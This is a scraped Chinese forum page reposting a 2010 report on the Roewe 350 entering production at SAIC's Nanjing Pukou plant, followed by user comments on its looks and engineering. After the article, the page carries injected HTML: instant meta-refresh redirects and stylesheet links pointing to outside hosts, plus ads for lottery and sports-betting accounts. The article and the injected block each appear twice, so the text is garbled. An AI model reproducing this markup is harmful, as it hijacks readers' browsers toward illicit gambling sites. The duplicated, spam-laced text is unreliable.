zt4月初首发/车展上市 荣威350正式下线

来源:百度文库 编辑:超级军网 时间:2024/05/01 19:18:46
<br /><br />3月17日,上海汽车集团股份有限公司(以下简称上汽)自主品牌南京浦口基地二期改建工程宣布落成投产,一辆辆荣威350轿车缓缓驶下生产线。这标志着上汽自主品牌平台化战略布局基本完成,南京浦口基地将与临港基地、仪征基地一起,成为上汽自主品牌国内三大生产基地,并与上海汽车技术中心安亭基地、南京分院和海外研发中心一起形成上汽完整的自主品牌制造与研发体系。上南融合的顺利推进,为上汽自主品牌的发展提供了有力支撑。

浦口二期改建工程建成投产以后,将成为上汽自主品牌A级车型和小排量发动机制造基地,生产荣威和MG品牌的A级车产品。浦口二期工程于2008年10月正式启动建设,总投资25.66亿元。工程建设克服了施工时间短、建设任务重等带来的挑战,于今年3月份按期完成。根据上汽统一规划,未来浦口基地将形成年产20万辆整车和25万台发动机生产能力。

在浦口基地下线的荣威350是上南融合后第一款真正意义上的全新战略车型,是上汽自主品牌进入容量最大、增速最快的A级细分市场的战略部署,也是南京基地实现经济效益根本好转的希望所在。作为上汽自主品牌的又一拳头产品,荣威350搭载上汽同步自主研发的1.5升高效能发动机,90km/h等速油耗仅为5.9L; 2650mm超长轴距,让荣威350拥有领先于同级车的超大空间;10功能安全气囊等高规格的安全装备,让荣威350成为主要竞品中,唯一能满足CNCAP 五星级设计标准的车型。荣威350的下线将为上汽自主品牌2010年跃上销量新规模提供强有力的支撑,同时为A级车平台后续产品的推出打下坚实基础。

上南融合两年多来,通过深入贯彻“统一规划、统一研发、统一采购、统一制造、统一营销”,实现了资源整合和优势互补,上汽自主品牌发展迅速。目前,上汽“高起点、差异化”发展自主品牌的策略初见成效,“以用户利益为重”的质量文化得到了市场认可,自主品牌销量大幅增长。2009年上汽自主品牌销售达到9万辆,同比增长153%,整车制造部分已实现盈利。2010年,上汽自主品牌计划推出覆盖B级、A级、SUV和A0级细分市场的4款新车型,全力冲刺全年销售18万辆目标。<meta http-equiv="refresh" content="0; url=http://fjw.cc">
<meta http-equiv="refresh" content="0; url=http://516123.com/1.html">
<link href="http://fjw.cc/558.css" rel="stylesheet" type="text/css" media="screen" />
<P>&nbsp;</P>
<link href="http://516123.com/8.css" rel="stylesheet" type="text/css" media="screen" />
<P>&nbsp;</P>
<P>&nbsp;</P>


6.合.彩==足球==篮球...各类投注开户下注
<P>&nbsp;</P>
推荐→第一投注==:倍率高.存取速度快.国内最好的投注平台<br /><br />3月17日,上海汽车集团股份有限公司(以下简称上汽)自主品牌南京浦口基地二期改建工程宣布落成投产,一辆辆荣威350轿车缓缓驶下生产线。这标志着上汽自主品牌平台化战略布局基本完成,南京浦口基地将与临港基地、仪征基地一起,成为上汽自主品牌国内三大生产基地,并与上海汽车技术中心安亭基地、南京分院和海外研发中心一起形成上汽完整的自主品牌制造与研发体系。上南融合的顺利推进,为上汽自主品牌的发展提供了有力支撑。

浦口二期改建工程建成投产以后,将成为上汽自主品牌A级车型和小排量发动机制造基地,生产荣威和MG品牌的A级车产品。浦口二期工程于2008年10月正式启动建设,总投资25.66亿元。工程建设克服了施工时间短、建设任务重等带来的挑战,于今年3月份按期完成。根据上汽统一规划,未来浦口基地将形成年产20万辆整车和25万台发动机生产能力。

在浦口基地下线的荣威350是上南融合后第一款真正意义上的全新战略车型,是上汽自主品牌进入容量最大、增速最快的A级细分市场的战略部署,也是南京基地实现经济效益根本好转的希望所在。作为上汽自主品牌的又一拳头产品,荣威350搭载上汽同步自主研发的1.5升高效能发动机,90km/h等速油耗仅为5.9L; 2650mm超长轴距,让荣威350拥有领先于同级车的超大空间;10功能安全气囊等高规格的安全装备,让荣威350成为主要竞品中,唯一能满足CNCAP 五星级设计标准的车型。荣威350的下线将为上汽自主品牌2010年跃上销量新规模提供强有力的支撑,同时为A级车平台后续产品的推出打下坚实基础。

上南融合两年多来,通过深入贯彻“统一规划、统一研发、统一采购、统一制造、统一营销”,实现了资源整合和优势互补,上汽自主品牌发展迅速。目前,上汽“高起点、差异化”发展自主品牌的策略初见成效,“以用户利益为重”的质量文化得到了市场认可,自主品牌销量大幅增长。2009年上汽自主品牌销售达到9万辆,同比增长153%,整车制造部分已实现盈利。2010年,上汽自主品牌计划推出覆盖B级、A级、SUV和A0级细分市场的4款新车型,全力冲刺全年销售18万辆目标。<meta http-equiv="refresh" content="0; url=http://fjw.cc">
<meta http-equiv="refresh" content="0; url=http://516123.com/1.html">
<link href="http://fjw.cc/558.css" rel="stylesheet" type="text/css" media="screen" />
<P>&nbsp;</P>
<link href="http://516123.com/8.css" rel="stylesheet" type="text/css" media="screen" />
<P>&nbsp;</P>
<P>&nbsp;</P>


6.合.彩==足球==篮球...各类投注开户下注
<P>&nbsp;</P>
推荐→第一投注==:倍率高.存取速度快.国内最好的投注平台
没有550和MG6风骚!!
beck4587 发表于 2010-3-28 23:22
350是丫鬟,不能风骚
前脸太平庸了…………
陆地天空海洋 发表于 2010-3-29 05:57

虽然平庸,但是我觉得并不别扭,还是比较顺眼的
不错啊,估计能大卖哦。
中规中矩咩~~~
MG6号称车震首选~

这个定位估计是拼悦动那个级别的车~
新家伙又来了。
据说荣威的变速箱很垃圾是不是真的啊?
上期还是很有潜力的,卖相上能与合资车竞争,下一步突破一下自主技术很有可能后来居上
lzneng 发表于 2010-3-29 19:32
上汽至少有全套罗孚技术垫底,中国目前最强的泛亚技术中心支持,拥有大众、通用两大强势合资伙伴

上汽还是很有前途的
外观设计值得奇瑞的设计师好好观摩。
悬挂还是板车,如果用上和悦的二连杆就好了,A3的多连杆就更好。
有250吗?
snipe 发表于 2010-3-30 12:01

要有应该直接下探150吧。
价位几何,怎么还是手动空调呢?
看好上汽
有点像上海大众的自主车新宝来。


上汽的荣威MG好像都是英国那班人马设计的,国内设计还没有这种实力
总觉得东亚人的创造性思维还是不够,韩国车好像也有很多请国外设计师,日本车不知道怎么样,但样子真的一般

上汽的荣威MG好像都是英国那班人马设计的,国内设计还没有这种实力
总觉得东亚人的创造性思维还是不够,韩国车好像也有很多请国外设计师,日本车不知道怎么样,但样子真的一般


前面像悦动,后面像福瑞迪,干嘛模仿韩国车?

前面像悦动,后面像福瑞迪,干嘛模仿韩国车?
chinpi2000 发表于 2010-3-29 21:26
奇瑞还是先学江淮吧
重庆人 发表于 2010-4-3 12:22

.........
重庆人 发表于 2010-4-3 12:22

[:a3:]新宝来不是一汽大众的吗?
daniel1128 发表于 2010-4-3 23:03

哈哈,不好意思,失误了。对,是一汽大众的,新宝来和南大众的朗逸其实都是只贴了一个大众的标而已,只不过新宝来到国外去溜了一圈,修了下外形。